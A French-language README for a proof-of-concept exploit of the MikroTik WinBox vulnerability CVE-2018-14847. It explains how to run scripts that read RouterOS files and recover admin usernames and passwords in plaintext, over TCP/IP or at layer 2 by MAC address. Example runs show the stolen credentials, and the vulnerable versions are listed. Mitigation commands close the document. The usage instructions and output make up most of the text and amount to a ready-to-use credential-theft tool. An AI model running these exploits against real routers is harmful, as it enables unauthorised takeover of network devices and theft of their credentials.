WinboxExploit

Ceci est une preuve de concept de la vulnérabilité critique WinBox (CVE-2018-14847) qui permet la lecture arbitraire de fichiers contenant des mots de passe en texte clair.

Prérequis

• Python 3+

Ce script ne fonctionnera PAS avec Python 2.x ou version inférieure.

Comment utiliser

Le script s'utilise simplement avec des arguments simples en ligne de commande.

WinBox (TCP/IP)

Exploitez la vulnérabilité et lisez le mot de passe.

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Exemple :

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

MAC server WinBox (Layer 2)

Vous pouvez extraire des fichiers même si l'appareil n'a pas d'adresse IP.

Vérification de découverte simple pour les appareils Mikrotik connectés localement.

python3 MACServerDiscover.py

Exemple :

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Exploitez la vulnérabilité et lisez le mot de passe.

python3 MACServerExploit.py <MAC-ADDRESS>

Exemple :

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Versions vulnérables

Toutes les versions de RouterOS du 2015-05-28 au 2018-04-20 sont vulnérables à cette exploitation.

Appareils Mikrotik exécutant les versions RouterOS :

• Longterm: 6.30.1 - 6.40.7
• Stable: 6.29 - 6.42
• Beta: 6.29rc1 - 6.43rc3

Pour plus d'informations, voir : https://blog.mikrotik.com/security/winbox-vulnerability.html

Techniques d'atténuation

• Mettez à niveau le routeur vers une version de RouterOS qui inclut le correctif.
• Désactivez le service WinBox sur le routeur.
• Vous pouvez restreindre l'accès au service WinBox à des adresses IP spécifiques avec ce qui suit :

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

• Vous pouvez utiliser des règles de filtrage (ACL) pour refuser l'accès externe au service WinBox :

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

• La limitation de l'accès au service mac-winbox peut être effectuée en spécifiant les interfaces autorisées :

/tool mac-server mac-winbox